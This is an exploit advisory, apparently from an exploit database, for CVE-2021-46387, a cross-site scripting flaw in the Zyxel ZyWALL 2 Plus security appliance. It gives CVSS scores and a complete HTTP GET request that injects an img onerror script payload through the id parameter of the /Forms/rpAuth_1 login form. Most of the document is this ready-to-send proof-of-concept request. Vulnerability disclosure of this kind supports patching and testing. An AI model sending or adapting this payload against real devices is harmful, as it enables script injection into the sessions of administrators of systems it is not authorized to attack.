Zyxel ZyWALL 2 Plus Cross Site Scripting

2022.03.04
Credit: Momen Eldawakhly
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2021-46387
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting (XSS) # Date: 1/3/2022 # Exploit Author: Momen Eldawakhly (CyberGuy) # Vendor Homepage: https://www.zyxel.com # Version: ZyWALL 2 Plus # Tested on: Ubuntu Linux [Firefox] # CVE : CVE-2021-46387 GET /Forms/rpAuth_1?id=%3C/form%3E%3CiMg%20src=x%20onerror=%22prompt(1)%22%3E%3Cform%3E HTTP/1.1 Host: vuln.ip:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1


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